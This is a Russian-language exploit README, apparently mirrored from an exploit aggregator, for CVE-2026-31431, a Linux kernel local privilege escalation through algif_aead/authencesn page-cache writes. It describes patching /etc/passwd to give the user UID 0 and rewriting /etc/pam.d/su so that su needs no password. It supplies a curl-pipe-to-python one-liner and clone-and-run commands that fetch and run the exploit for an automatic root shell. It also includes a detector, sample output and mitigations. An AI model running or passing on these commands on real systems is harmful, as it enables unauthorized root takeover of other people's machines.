## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MFLORESDACUNHA-CVE-2026-31431
# CVE-2026-31431 — «Copy Fail» — локальное повышение привилегий
## Обзор
CVE-2026-31431 — это уязвимость локального повышения привилегий в подсистеме `algif_aead` ядра Linux. Реализация AEAD `authencesn` выполняет расшифровку на месте через `splice(2)`, помещая страницу из page cache в целевой scatterlist. 4-байтовое значение из AAD (`seqno_lo`) записывается обратно в эту страницу page cache до проверки тега аутентификации — что позволяет непривилегированному пользователю перезаписывать произвольные байты page cache любого файла, доступного для чтения всем пользователям.
**Уязвимы с версии:** ядро 4.14 (август 2017) — когда `authesn` был добавлен в `algif_aead`
**Исправления выпущены для:** только стабильных веток 6.12, 6.17 и 6.18
**Постоянно без исправления:** ядра 4.14–6.11 (EOL; бэкпорт выпускаться не будет)
**Требуемые примитивы:** сокет `AF_ALG`, шифр `authencesn(hmac(sha256),cbc(aes))`, `splice(2)` в файловый дескриптор сокета `AF_ALG`
**Воздействие:** локальное повышение привилегий до root — полностью автоматизировано, пароль не требуется
## Как это работает
Эксплойт последовательно применяет два патча к page cache, а затем автоматически выполняет `su`:
1. **Патч`/etc/passwd`** — открывает файл (доступный для чтения всем), заполняет его page cache, затем использует примитив splice из `authencesn`, чтобы изменить 4-значное поле UID текущего пользователя на `0000`. После патча `getpwnam()` сообщает, что пользователь имеет UID 0.
2. **Патч`/etc/pam.d/su`** — `pam_rootok.so` и `pam_permit.so` оба имеют длину ровно 13 символов. Две 4-байтовые записи заменяют `pam_rootok.so` на `pam_permit.so` в page cache конфигурации PAM. Поскольку `pam_permit` всегда возвращает `PAM_SUCCESS`, существующая строка `auth sufficient` срабатывает немедленно — запрос пароля не выводится.
3. **Автоматическая оболочка** — скрипт выполняет . PAM аутентифицирует без пароля (шаг 2), затем успешно выполняется, потому что сообщает UID 0 (шаг 1). Root-оболочка возвращается без какого-либо взаимодействия с пользователем.
Запись на диск не выполняется ни в какой момент. Сброс page cache (`echo 3 > /proc/sys/vm/drop_caches`) или перезагрузка полностью отменяют оба патча.
## Использование
> **Только для авторизованного тестирования. Запускайте только на хостах, которыми вы владеете или для оценки которых у вас есть явное разрешение.**
### Однострочная команда
root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
Root-оболочка возвращается автоматически — пароль не нужен.
### Вручную
root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
### Очистка (из root-оболочки)
root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches
## Требования
* Ядро Linux 4.14–6.18; конкретно — без исправления 4.14–6.11 (постоянно) или 6.12/6.17/6.18 без применённого апстрим-фикса
* Поддержка сокетов `AF_ALG` включена (стандартно в большинстве дистрибутивов)
* `authencesn(hmac(sha256),cbc(aes))` загружаем (стандартно в большинстве дистрибутивов)
* Python 3.6+
* 4-значный UID (1000–9999)
## Обнаружение
`test_cve_2026_31431.py` — это безопасный детектор только для чтения, включённый в этот репозиторий. Он проверяет примитив splice из `algif_aead` на одноразовом файле-маркере, который создаёт во временном каталоге — системные файлы не затрагиваются. Он выводит вердикт и завершается с чётко определённым кодом:
Код выхода| Значение
---|---
`0`| **Не уязвим** — предварительное условие не выполнено или page cache не был изменён
**Запуск:**
root@kitploit:~
# Однострочная команда (установка не требуется)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Код выхода: $?"
# Или из локального клона
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Код выхода: $?"
**Пример вывода на уязвимом ядре:**
root@kitploit:~
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
**Пример вывода на исправленном ядре:**
root@kitploit:~
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
## Смягчение последствий
* Примените апстрим-патч ядра.
* Заблокируйте `algif_aead` через `/etc/modprobe.d`: `install algif_aead /bin/false`
* Ограничьте сокеты `AF_ALG` с помощью seccomp или политики LSM.
## Ссылки
* Раскрытие Copy Fail
* Апстрим-фикс: `net/tls` \+ `crypto/algif_aead` — изоляция dst scatterlist для authencesn при расшифровке на месте